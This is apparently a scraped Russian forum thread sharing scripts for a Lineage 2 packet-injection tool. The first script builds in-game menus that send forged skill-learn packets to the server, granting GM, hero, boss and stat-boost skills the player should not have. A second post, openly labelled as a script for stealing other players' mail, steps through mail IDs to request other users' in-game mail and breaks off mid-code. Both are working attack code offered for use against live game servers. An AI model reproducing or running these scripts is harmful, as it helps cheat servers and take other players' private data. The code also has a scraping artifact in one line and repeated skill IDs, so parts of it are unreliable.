'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Hero='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Hero Skills::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Heroic Berserker">Heroic Berserker</a>'+
'<a action="bypass -h Heroic Miracle">Heroic Miracle</a>'+
'<a action="bypass -h Heroic Dread">Heroic Dread</a>'+
'<a action="bypass -h Heroic Grandeur">Heroic Grandeur</a>'+
'<a action="bypass -h Blessing of Noblesse">Blessing of Noblesse</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_SA='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::СА Скилы::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Haste">Haste</a>'+
'<a action="bypass -h Guidance">Guidance</a>'+
'<a action="bypass -h Rsk.Agility">Rsk.Agility</a>'+
'<a action="bypass -h Critical Demage">Critical Demage</a>'+
'<a action="bypass -h Focus">Focus</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_DANCE='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Танцы::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Dance of Fire">Dance of Fire</a>'+
'<a action="bypass -h Dance of Light">Dance of Light</a>'+
'<a action="bypass -h Dance of Inspiration">Dance of Inspiration</a>'+
'<a action="bypass -h Dance of Mystic">Dance of Mystic</a>'+
'<a action="bypass -h Dance of Concentration">Dance of Concentration</a>'+
'<a action="bypass -h Dance of Warrior">Dance of Warrior</a>'+
'<a action="bypass -h Dance of Fury">Dance of Fury</a>'+
'<a action="bypass -h Dance of Earth Guard">Dance of Earth Guard</a>'+
'<a action="bypass -h Dance of Protection">Dance of Protection</a>'+
'<a action="bypass -h Dance of Aqua Guard">Dance of Aqua Guard</a>'+
'<a action="bypass -h Dance of Vampire">Dance of Vampire</a>'+
'<a action="bypass -h Dance of Medusa">Dance of Medusa</a>'+
'<a action="bypass -h Dance of Siren">Dance of Siren</a>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Song='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Песни::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Song of Warding">Song of Warding</a>'+
'<a action="bypass -h Song of Invocation">Song of Invocation</a>'+
'<a action="bypass -h Song of Wind">Song of Wind</a>'+
'<a action="bypass -h Song of Hunter">Song of Hunter</a>'+
'<a action="bypass -h Song of Life">Song of Life</a>'+
'<a action="bypass -h Song of Earth">Song of Earth</a>'+
'<a action="bypass -h Song of Water">Song of Water</a>'+
'<a action="bypass -h Song of Flame Guard">Song of Flame Guard</a>'+
'<a action="bypass -h Song of Vitality">Song of Vitality</a>'+
'<a action="bypass -h Song of Storm Guard">Song of Storm Guard</a>'+
'<a action="bypass -h Song of Vengeance">Song of Vengeance</a>'+
'<a action="bypass -h Song of Meditation">Song of Meditation</a>'+
'<a action="bypass -h Song of Renewal">Song of Renewal</a>'+
'<a action="bypass -h Song of Champion">Song of Champion</a><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';

const
HTML_Buff='<html><body><center>'+
'<img src="L2UI_CH3.herotower_deco" width=256 height=32>'+
'<font color="04fbfb">.::Buff::.</font><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br><td>'+
'<a action="bypass -h Wind Walk">Wind Walk</a>'+
'<a action="bypass -h Shield">Shield</a>'+
'<a action="bypass -h Might">Might</a>'+
'<a action="bypass -h Bless Shield">Bless Shield</a>'+
'<a action="bypass -h Death Whisper">Death Whisper</a>'+
'<a action="bypass -h Guidancee">Guidance</a>'+
'<a action="bypass -h Mental Shield">Mental Shield</a>'+
'<a action="bypass -h Bless the Body">Bless the Body</a>'+
'<a action="bypass -h Bless the Soul">Bless the Soul</a>'+
'<a action="bypass -h Concentration">Concentration</a>'+
'<a action="bypass -h Focuss">Focus</a>'+
'<a action="bypass -h Hastee">Haste</a>'+
'<a action="bypass -h Magic Barrier">Magic Barrier</a>'+
'<a action="bypass -h Acumen">Acumen</a>'+
'<a action="bypass -h Berserker Spirit">Berserker Spirit</a>'+
'<a action="bypass -h Kiss of Eva">Kiss of Eva</a>'+
'<a action="bypass -h Regeneration">Regeneration</a>'+
'<a action="bypass -h Empower">Empower</a>'+
'<a action="bypass -h Wild Magic">Wild Magic</a>'+
'<a action="bypass -h Resist Shock">Resist Shock</a>'+
'<a action="bypass -h Agility">Agility</a>'+
'<a action="bypass -h Prophecy of Water">Prophecy of Water</a>'+
'<a action="bypass -h Prophecy of Wind">Prophecy of Wind</a>'+
'<a action="bypass -h Prophecy of Fire">Prophecy of Fire</a>'+
'<a action="bypass -h Chant of Victory">Chant of Victory</a><br>'+
'<button value="Назад" action="bypass -h main" width=60 height=15 back="sek.cbui94" fore="sek.cbui92"><br>'+
'<img src="L2UI.SquareWhite" width=260 height=1>'+
'<img src="L2UI.SquareBlank" width=260 height=4><br>'+
'<font color="04fbfb">.::Автор: Negativ::.</font><br>'+
'</center></body></html>';


Procedure ShowHTML( _html : string );
begin
   buf:=#$00f;
   WriteD(5);
   WriteS(_HTML);
   SendToClient;
end;

Procedure LearnSkill( skillId : integer; level : integer );
begin
  buf:=#$6C;
  WriteD(skillId);
  WriteD(level);
  WriteD(0);
  SendToServer;
  delay(100);
end;

begin
  if FromClient and (pck=#$38#$46#$00#$69#$00#$72#$00#$65#$00#$43#$00#$61#$00#$74#$00#$00#$00#$03#$00#$00#$00) then
    begin
          ShowHTML(HTML);
    end;

  if FromClient and (pck[1]=#$21) then
  begin
      Bypass:=ReadS(2);
      case Bypass of
      'main'    : ShowHTML(HTML);
      'Demon Weapon'   : ShowHTML(HTML_Zariche);
      'GM Скилы'       : ShowHTML(HTML_Gm);
      'HP/MP Increase' : ShowHTML(HTML_HP);
      'Stats'          : ShowHTML(HTML_stats);
      'Ultra Skills'   : ShowHTML(HTML_ultra);
      'Armor Mastery'  : ShowHTML(HTML_Armor);
      'Epic'           : ShowHTML(HTML_epic);
      'Infinity'       : ShowHTML(HTML_Inf);
      'NBC'            : ShowHTML(HTML_NBC);
      'Resist'         : ShowHTML(HTML_Resist);
      'Set Skill'      : ShowHTML(HTML_Set);
      'Hero Skills'    : ShowHTML(HTML_Hero);
      'SA'             : ShowHTML(HTML_SA);
      'Dance'          : ShowHTML(HTML_DANCE);
      'Song'           : ShowHTML(HTML_Song);
      'Buff'           : ShowHTML(HTML_Buff);



      { Demon Weapon }
      'Demon Sword Zariche'       : Begin LearnSkill( 3603, 10); ShowHTML(HTML_Zariche); end;
      'Blood Sword Akamanah'      : Begin LearnSkill( 3629, 10); ShowHTML(HTML_Zariche); end;

      {GM Скилы}
      'Super Haste'                               : Begin LearnSkill( 7029 , 4); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Chant of Vctory'        : Begin LearnSkill( 7064 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Haste'                  : Begin LearnSkill( 7043 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Wind Walk'              : Begin LearnSkill( 7055 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Greater Might'          : Begin LearnSkill( 7057 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Greater Shield'         : Begin LearnSkill( 7058 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Acumen'                 : Begin LearnSkill( 7048 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Bersekcer Spirit'       : Begin LearnSkill( 7056 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Might'                  : Begin LearnSkill( 7050 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Shield'                 : Begin LearnSkill( 7051 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Focus'                  : Begin LearnSkill( 7041 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Death Whisper'          : Begin LearnSkill( 7042 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Guidance'               : Begin LearnSkill( 7044 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Blessed Body'           : Begin LearnSkill( 7045 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Blessed Soul'           : Begin LearnSkill( 7046 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Agility'                : Begin LearnSkill( 7047 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Magic Barrier'          : Begin LearnSkill( 7052 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Empower'                : Begin LearnSkill( 7054 , 1); ShowHTML(HTML_Gm); end;
      'Masters Blessing - Prophecy of Wind'       : Begin LearnSkill( 7063 , 1); ShowHTML(HTML_Gm); end;

      {HP/MP Increase}
      'Increase HP x2'                            : Begin LearnSkill( 4303 , 1); ShowHTML(HTML_HP); end;
      'Increase HP x3'                            : Begin LearnSkill( 4304 , 1); ShowHTML(HTML_HP); end;
      'Increase HP x4'                            : Begin LearnSkill( 4305 , 1); ShowHTML(HTML_HP); end;
      'Increase HP x5'                            : Begin LearnSkill( 4306 , 1); ShowHTML(HTML_HP); end;
      'Increase HP x6'                            : Begin LearnSkill( 4307 , 1); ShowHTML(HTML_HP); end;
      'Increase HP x7'                            : Begin LearnSkill( 4308 , 1); ShowHTML(HTML_HP); end;
      'Increase HP x8'                            : Begin LearnSkill( 4309 , 1); ShowHTML(HTML_HP); end;
      'Increase HP x9'                            : Begin LearnSkill( 4310 , 1); ShowHTML(HTML_HP); end;
      'Increase HP x12'                           : Begin LearnSkill( 4408 ,20); ShowHTML(HTML_HP); end;
      'Increase MP x12'                           : Begin LearnSkill( 4409 ,20); ShowHTML(HTML_HP); end;

      {D-C-S-I-W-M}
      'DEX+60'                                    : Begin LearnSkill( 9005 , 60); ShowHTML(HTML_stats); end;
      'CON+45'                                    : Begin LearnSkill( 9004 , 45); ShowHTML(HTML_stats); end;
      'STR+40'                                    : Begin LearnSkill( 9006 , 40); ShowHTML(HTML_stats); end;
      'INT+65'                                    : Begin LearnSkill( 9001 , 40); ShowHTML(HTML_stats); end;
      'WIT+40'                                    : Begin LearnSkill( 9002 , 70); ShowHTML(HTML_stats); end;
      'MEN+51'                                    : Begin LearnSkill( 9003 , 51); ShowHTML(HTML_stats); end;

      {Ultra Skills}
      'Ultra P.Atk'                               : begin LearnSkill( 4410, 22 ); ShowHTML(HTML_ultra); end;
      'Ultra M.Atk'                               : begin LearnSkill( 4411, 22 ); ShowHTML(HTML_ultra); end;
      'Ultra P.Def'                               : begin LearnSkill( 4412, 22 ); ShowHTML(HTML_ultra); end;
      'Ultra M.Def'                               : begin LearnSkill( 4413, 22 ); ShowHTML(HTML_ultra); end;
      'Ultimate Buff'                             : begin LearnSkill( 4318, 1 ); ShowHTML(HTML_ultra); end;
      'Ultimate Buff2'                            : begin LearnSkill( 4340, 1 ); ShowHTML(HTML_ultra); end;
      'Ultimate Buff3'                            : begin LearnSkill( 4341, 1 ); ShowHTML(HTML_ultra); end;

      {Armor Mastery}

      'Light Armor Mastery'    :
      begin
         LearnSkill(  227, 50 );
         LearnSkill(  233, 47 );
         LearnSkill(  236, 41 );
         LearnSkill(  252, 45 );
         LearnSkill(  258, 33 );
         ShowHTML(HTML_Armor);
      end;

      'Robe Mastery'    :
      begin
         LearnSkill(  234, 41 );
         LearnSkill(  235, 41 );
         LearnSkill(  251, 45 );
         ShowHTML(HTML_Armor);
      end;

      'Heavy Armor Mastery'    :
      begin
         LearnSkill(  231, 50 );
         LearnSkill(  232, 52 );
         LearnSkill(  253, 43 );
         LearnSkill(  259, 33 );
         ShowHTML(HTML_Armor);
      end;

      'Weapon Mastery'         :
      begin
         LearnSkill(  141, 3 );
         LearnSkill(  249, 42 );
         LearnSkill(  250, 42 );
         ShowHTML(HTML_Armor);
      end;

      { Скилы эпик бижи }
      'Earring of Antharas'         : begin LearnSkill( 3558,  1 ); ShowHTML(HTML_epic); end;
      'Earring of Orfen'            : begin LearnSkill( 3560,  1 ); ShowHTML(HTML_epic); end;
      'Earring of Zaken'            : begin LearnSkill( 3559,  1 ); ShowHTML(HTML_epic); end;
      'Necklace of Valakas'         : begin LearnSkill( 3557,  1 ); ShowHTML(HTML_epic); end;
      'Ring of Baium'               : begin LearnSkill( 3561,  1 ); ShowHTML(HTML_epic); end;
      'Ring of Core'                : begin LearnSkill( 3563,  1 ); ShowHTML(HTML_epic); end;
      'Ring of Queen Ant'           : begin LearnSkill( 3563,  1 ); ShowHTML(HTML_epic); end;
      'Frintezza''s Necklace'       : begin LearnSkill( 3604,  1 ); ShowHTML(HTML_epic); end;

      {Infinity Weapon Skill}

      'Infinity Blade'                : begin LearnSkill( 3578,  1 ); ShowHTML(HTML_Inf); end;
      'Infinity Axe'                  : begin LearnSkill( 3580,  1 ); ShowHTML(HTML_Inf); end;
      'Infinity Cleaver'              : begin LearnSkill( 3583,  1 ); ShowHTML(HTML_Inf); end;
      'Infinity Crusher'              : begin LearnSkill( 3583,  1 ); ShowHTML(HTML_Inf); end;
      'Infinity Fang'                 : begin LearnSkill( 3587,  1 ); ShowHTML(HTML_Inf); end;
      'Infinity Stinger'              : begin LearnSkill( 3589,  1 ); ShowHTML(HTML_Inf); end;
      'Infinity Spear'                : begin LearnSkill( 3591,  1 ); ShowHTML(HTML_Inf); end;
      'Infinity Bow'                  : begin LearnSkill( 3593,  1 ); ShowHTML(HTML_Inf); end;
      'Infinity Scepter'              : begin LearnSkill( 3595,  1 ); ShowHTML(HTML_Inf); end;
      'Infinity Rod'                  : begin LearnSkill( 3597,  1 ); ShowHTML(HTML_Inf); end;

      {Эпик RB Скилы}
      'Baium: General Attack'         : begin LearnSkill( 4127,  1 ); ShowHTML(HTML_NBC); end;
      'Baium Gift'                    : begin LearnSkill( 4136,  1 ); ShowHTML(HTML_NBC); end;
      'Valakas Lava Skin'             : begin LearnSkill( 4680,  1 ); ShowHTML(HTML_NBC); end;
      'Valakas Shock'                 : begin LearnSkill( 4688,  1 ); ShowHTML(HTML_NBC); end;
      'Antharas Shock'                : begin LearnSkill( 4106,  1 ); ShowHTML(HTML_NBC); end;
      'BOSS Shield'                   : begin LearnSkill( 3597,  1 ); ShowHTML(HTML_NBC); end;
      'BOSS Stun shot'                : begin LearnSkill( 3597,  1 ); ShowHTML(HTML_NBC); end;
      'Increase Rage Might'           : begin LearnSkill( 4317,  5 ); ShowHTML(HTML_NBC); end;
      'NPC dash'                      : begin LearnSkill( 4048,  3 ); ShowHTML(HTML_NBC); end;

      {Resist Skills}
      'Resist M.Atk'                : begin LearnSkill( 4116, 10 ); ShowHTML(HTML_Resist); end;
      'Resist Archery'              : begin LearnSkill( 4071, 10 ); ShowHTML(HTML_Resist); end;
      'Resist Physical Attack'      : begin LearnSkill( 4084, 10 ); ShowHTML(HTML_Resist); end;
      'Resist Dagger'               : begin LearnSkill( 4273,  6 ); ShowHTML(HTML_Resist); end;
      'Resist Two-handed Weapons'   : begin LearnSkill( 4428,  5 ); ShowHTML(HTML_Resist); end;
      'Resist Swords'               : begin LearnSkill( 4427,  5 ); ShowHTML(HTML_Resist); end;
      'Resist Dual-Sword Weapons'   : begin LearnSkill( 4426,  5 ); ShowHTML(HTML_Resist); end;
      'Resist Blunt Weapons'        : begin LearnSkill( 4425,  5 ); ShowHTML(HTML_Resist); end;
      'Resist Hand-to-hand Weapons' : begin LearnSkill( 4424,  5 ); ShowHTML(HTML_Resist); end;
      'Resist Mental Derangement'   : begin LearnSkill( 4389,  6 ); ShowHTML(HTML_Resist); end;
      'Resist Paralysis'            : begin LearnSkill( 4338,  6 ); ShowHTML(HTML_Resist); end;
      'Resist Pole Arm'             : begin LearnSkill( 4379,  6 ); ShowHTML(HTML_Resist); end;
      'Resist Sacred Attack'        : begin LearnSkill( 4337,  6 ); ShowHTML(HTML_Resist); end;
      'Resist Dark Attack'          : begin LearnSkill( 4333,  6 ); ShowHTML(HTML_Resist); end;
      'Resist Hold'                 : begin LearnSkill( 4287,  6 ); ShowHTML(HTML_Resist); end;
      'Resist Sleep'                : begin LearnSkill( 4285,  6 ); ShowHTML(HTML_Resist); end;

      {Скилы От Сэтов}
      'Wooden Set'                  : begin LearnSkill( 3500,  1 ); ShowHTML(HTML_Set); end;
      'Devotion Set'                : begin LearnSkill( 3501,  1 ); ShowHTML(HTML_Set); end;
      'Elven Mithril Set'           : begin LearnSkill( 3507,  1 ); ShowHTML(HTML_Set); end;
      'Knowledge Set'               : begin LearnSkill( 3504,  1 ); ShowHTML(HTML_Set); end;
      'Reinforced Leather Set'      : begin LearnSkill( 3503,  1 ); ShowHTML(HTML_Set); end;
      'Manticore Set'               : begin LearnSkill( 3505,  1 ); ShowHTML(HTML_Set); end;
      'Brigandine Set'              : begin LearnSkill( 3506,  1 ); ShowHTML(HTML_Set); end;
      'Mithril Heavy Armor Set'     : begin LearnSkill( 3502,  1 ); ShowHTML(HTML_Set); end;
      'Divine Set'                  : begin LearnSkill( 3517,  1 ); ShowHTML(HTML_Set); end;
      'Karmian Set'                 : begin LearnSkill( 3510,  1 ); ShowHTML(HTML_Set); end;
      'Demon Set'                   : begin LearnSkill( 3513,  1 ); ShowHTML(HTML_Set); end;
      'Drake Leather Set'           : begin LearnSkill( 3515,  1 ); ShowHTML(HTML_Set); end;
      'Theca Leather Set'           : begin LearnSkill( 3514,  1 ); ShowHTML(HTML_Set); end;
      'Plate Leather Set'           : begin LearnSkill( 3511,  1 ); ShowHTML(HTML_Set); end;
      'Composite Set'               : begin LearnSkill( 3512,  1 ); ShowHTML(HTML_Set); end;
      'Chain Mail Set'              : begin LearnSkill( 3509,  1 ); ShowHTML(HTML_Set); end;
      'Full Plate Set'              : begin LearnSkill( 3516,  1 ); ShowHTML(HTML_Set); end;
      'Doom Robe Set'               : begin LearnSkill( 3529,  1 ); ShowHTML(HTML_Set); end;
      'Blue Wolf Robe Set'          : begin LearnSkill( 3528,  1 ); ShowHTML(HTML_Set); end;
      'Avadon Robe Set'             : begin LearnSkill( 3523,  1 ); ShowHTML(HTML_Set); end;
      'Zubei Robe Set'              : begin LearnSkill( 3522,  1 ); ShowHTML(HTML_Set); end;
      'Avadon Light Armor Set'      : begin LearnSkill( 3521,  1 ); ShowHTML(HTML_Set); end;
      'Zubei Light Armor Set'       : begin LearnSkill( 3520,  1 ); ShowHTML(HTML_Set); end;
      'Blue Wolf Light Armor Set'   : begin LearnSkill( 3526,  1 ); ShowHTML(HTML_Set); end;
      'Doom Light Armor Set'        : begin LearnSkill( 3527,  1 ); ShowHTML(HTML_Set); end;
      'Zubei Heavy Armor Set'       : begin LearnSkill( 3518,  1 ); ShowHTML(HTML_Set); end;
      'Avadon Heavy Armor Set'      : begin LearnSkill( 3519,  1 ); ShowHTML(HTML_Set); end;
      'Doom Heavy Armor Set'        : begin LearnSkill( 3525,  1 ); ShowHTML(HTML_Set); end;
      'Blue Wolf Heavy Armor Set'   : begin LearnSkill( 3524,  1 ); ShowHTML(HTML_Set); end;
      'Majestic Robe Set'           : begin LearnSkill( 3541,  1 ); ShowHTML(HTML_Set); end;
      'Nightmare Robe Set'          : begin LearnSkill( 3540,  1 ); ShowHTML(HTML_Set); end;
      'Tallum Robe Set'             : begin LearnSkill( 3534,  1 ); ShowHTML(HTML_Set); end;
      'Dark Crystal Robe Set'       : begin LearnSkill( 3535,  1 ); ShowHTML(HTML_Set); end;
      'Majestic Light Armor Set'    : begin LearnSkill( 3539,  1 ); ShowHTML(HTML_Set); end;
      'Nightmare Light Armor Set'   : begin LearnSkill( 3538,  1 ); ShowHTML(HTML_Set); end;
      'Tallum Light Armor Set'      : begin LearnSkill( 3533,  1 ); ShowHTML(HTML_Set); end;
      'Dark Crystal Light Armor Set': begin LearnSkill( 3532,  1 ); ShowHTML(HTML_Set); end;
      'Nightmare Heavy Armor Set'   : begin LearnSkill( 3536,  1 ); ShowHTML(HTML_Set); end;
      'Majestic Heavy Armor Set'    : begin LearnSkill( 3537,  1 ); ShowHTML(HTML_Set); end;
      'Tallum Heavy Armor Set'      : begin LearnSkill( 3531,  1 ); ShowHTML(HTML_Set); end;
      'Dark Crystal Heavy Armor Set': begin LearnSkill( 3530,  1 ); ShowHTML(HTML_Set); end;
      'Major Arcana Robe Set'       : begin LearnSkill( 3556,  1 ); ShowHTML(HTML_Set); end;
      'Draconic Light Armor Set'    : begin LearnSkill( 3555,  1 ); ShowHTML(HTML_Set); end;
      'Imperial Crusader Heavy Armor Set' : begin LearnSkill( 3553,  1 ); ShowHTML(HTML_Set); end;

      {Hero Skills}
      'Heroic Berserker'            : begin LearnSkill( 396,  1 ); ShowHTML(HTML_Hero); end;
      'Heroic Miracle'              : begin LearnSkill( 395,  1 ); ShowHTML(HTML_Hero); end;
      'Heroic Dread'                : begin LearnSkill( 1376,  1 ); ShowHTML(HTML_Hero); end;
      'Heroic Grandeur'             : begin LearnSkill( 1375,  1 ); ShowHTML(HTML_Hero); end;
      'Blessing of Noblesse'        : begin LearnSkill( 1323,  1 ); ShowHTML(HTML_Hero); end;

      {SA Skills}

      'Haste'    :
      begin
         LearnSkill(  3036, 4 );
         LearnSkill(  3037, 4 );
         LearnSkill(  3068, 2 );
         ShowHTML(HTML_SA);
      end;

      'Guidance'    :
      begin
         LearnSkill(  3064, 1 );
         LearnSkill(  3065, 1 );
         LearnSkill(  3007, 6 );
         LearnSkill(  3008, 6 );
         ShowHTML(HTML_SA);
      end;

      'Rsk.Agility'    :
      begin
         LearnSkill(  3028, 6 );
         LearnSkill(  3030, 6 );
         LearnSkill(  3031, 6 );
         LearnSkill(  3069, 1 );
         LearnSkill(  3009, 7 );
         ShowHTML(HTML_SA);
      end;

      'Critical Demage'    :
      begin
         LearnSkill(  3023, 6 );
         LearnSkill(  3043, 6 );
         LearnSkill(  3066, 3 );
         LearnSkill(  3067, 2 );
         ShowHTML(HTML_SA);
      end;

      'Focus'    :
      begin
         LearnSkill(  3010, 7 );
         LearnSkill(  3011, 6 );
         LearnSkill(  3050, 2 );
         LearnSkill(  3051, 2 );
         LearnSkill(  3566, 2 );
         LearnSkill(  3057, 2 );
         ShowHTML(HTML_SA);
      end;

      {Дансы}
      'Dance of Fire'          : begin LearnSkill(  274, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Light'         : begin LearnSkill(  277, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Inspiration'   : begin LearnSkill(  272, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Mystic'        : begin LearnSkill(  273, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Concentration' : begin LearnSkill(  276, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Warrior'       : begin LearnSkill(  271, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Fury'          : begin LearnSkill(  275, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Earth Guard'   : begin LearnSkill(  209, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Protection'    : begin LearnSkill(  311, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Aqua Guard'    : begin LearnSkill(  307, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Vampire'       : begin LearnSkill(  310, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Medusa'        : begin LearnSkill(  367, 1 );  ShowHTML(HTML_DANCE); end;
      'Dance of Siren'         : begin LearnSkill(  365, 1 );  ShowHTML(HTML_DANCE); end;

      { Сонги }
      'Song of Warding'        : begin LearnSkill(  267, 1 );  ShowHTML(HTML_Song); end;
      'Song of Invocation'     : begin LearnSkill(  270, 1 );  ShowHTML(HTML_Song); end;
      'Song of Wind'           : begin LearnSkill(  268, 1 );  ShowHTML(HTML_Song); end;
      'Song of Hunter'         : begin LearnSkill(  269, 1 );  ShowHTML(HTML_Song); end;
      'Song of Life'           : begin LearnSkill(  265, 1 );  ShowHTML(HTML_Song); end;
      'Song of Earth'          : begin LearnSkill(  264, 1 );  ShowHTML(HTML_Song); end;
      'Song of Water'          : begin LearnSkill(  266, 1 );  ShowHTML(HTML_Song); end;
      'Song of Flame Guard'    : begin LearnSkill(  306, 1 );  ShowHTML(HTML_Song); end;
      'Song of Vitality'       : begin LearnSkill(  304, 1 );  ShowHTML(HTML_Song); end;
      'Song of Storm Guard'    : begin LearnSkill(  308, 1 );  ShowHTML(HTML_Song); end;
      'Song of Vengeance'      : begin LearnSkill(  305, 1 );  ShowHTML(HTML_Song); end;
      'Song of Meditation'     : begin LearnSkill(  363, 1 );  ShowHTML(HTML_Song); end;
      'Song of Renewal'        : begin LearnSkill(  349, 1 );  ShowHTML(HTML_Song); end;
      'Song of Champion'       : begin LearnSkill(  364, 1 );  ShowHTML(HTML_Song); end;

      {Buff}
      'Wind Walk'            : begin LearnSkill( 1204, 2 );  ShowHTML(HTML_BUFF); end;
      'Shield'               : begin LearnSkill( 1040, 3 );  ShowHTML(HTML_BUFF); end;
      'Might'                : begin LearnSkill( 1068, 3 );  ShowHTML(HTML_BUFF); end;
      'Bless Shield'         : begin LearnSkill( 1243, 6 );  ShowHTML(HTML_BUFF); end;
      'Death Whisper'        : begin LearnSkill( 1242, 3 );  ShowHTML(HTML_BUFF); end;
      'Guidancee'            : begin LearnSkill( 1240, 3 );  ShowHTML(HTML_BUFF); end;
      'Mental Shield'        : begin LearnSkill( 1035, 4 );  ShowHTML(HTML_BUFF); end;
      'Bless the Body'       : begin LearnSkill( 1045, 6 );  ShowHTML(HTML_BUFF); end;
      'Bless the Soul'       : begin LearnSkill( 1048, 6 );  ShowHTML(HTML_BUFF); end;
      'Concentration'        : begin LearnSkill( 1048, 6 );  ShowHTML(HTML_BUFF); end;
      'Focuss'               : begin LearnSkill( 1077, 3 );  ShowHTML(HTML_BUFF); end;
      'Hastee'               : begin LearnSkill( 1086, 2 );  ShowHTML(HTML_BUFF); end;
      'Magic Barrier'        : begin LearnSkill( 1036, 2 );  ShowHTML(HTML_BUFF); end;
      'Acumen'               : begin LearnSkill( 1085, 3 );  ShowHTML(HTML_BUFF); end;
      'Berserker Spirit'     : begin LearnSkill( 1062, 2 );  ShowHTML(HTML_BUFF); end;
      'Kiss of Eva'          : begin LearnSkill( 1073, 2 );  ShowHTML(HTML_BUFF); end;
      'Regeneration'         : begin LearnSkill( 1044, 3 );  ShowHTML(HTML_BUFF); end;
      'Empower'              : begin LearnSkill( 1059, 3 );  ShowHTML(HTML_BUFF); end;
      'Wild Magic'           : begin LearnSkill( 1303, 2 );  ShowHTML(HTML_BUFF); end;
      'Resist Shock'         : begin LearnSkill( 1303, 4 );  ShowHTML(HTML_BUFF); end;
      'Agility'              : begin LearnSkill( 1087, 3 );  ShowHTML(HTML_BUFF); end;
      'Prophecy of Water'    : begin LearnSkill( 1355, 1 );  ShowHTML(HTML_BUFF); end;
      'Prophecy of Wind'     : begin LearnSkill( 1357, 1 );  ShowHTML(HTML_BUFF); end;
      'Prophecy of Fire'     : begin LearnSkill( 1356, 1 );  ShowHTML(HTML_BUFF); end;
      'Chant of Victory'     : begin LearnSkill( 1363, 1 );  ShowHTML(HTML_BUFF); end;


     end;
  end;
end.
 

minister

Пользователь
Регистрация
25 Авг 2011
Сообщения
121
Лайки
0
Баллы
0
скрипт на воровство чужой почты
Код:
HTML:
const
name='name' ; //имя
a=777;  //с какого ИД почты начинаем
b=0; // где заканчиваем
 
var
 f:boolean;  
 i:integer; 
 j,k:integer; 
 timer1:ttimer; 
 
procedure OnTimer1(Sender: TObject);
begin
 buf:=#$D0#$6E#$00;
 writeD(i); 
 dec(i);
 sendtoserverex(name); 
end; 

procedure SndMsg(str:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(str);
SendToClientEx(Name);
end;
 
procedure Init; //Вызывается при выключении скрипта
begin
 Timer1:=TTimer.Create(nil);
 Timer1.OnTimer:[email protected];
 Timer1.interval:=700; 
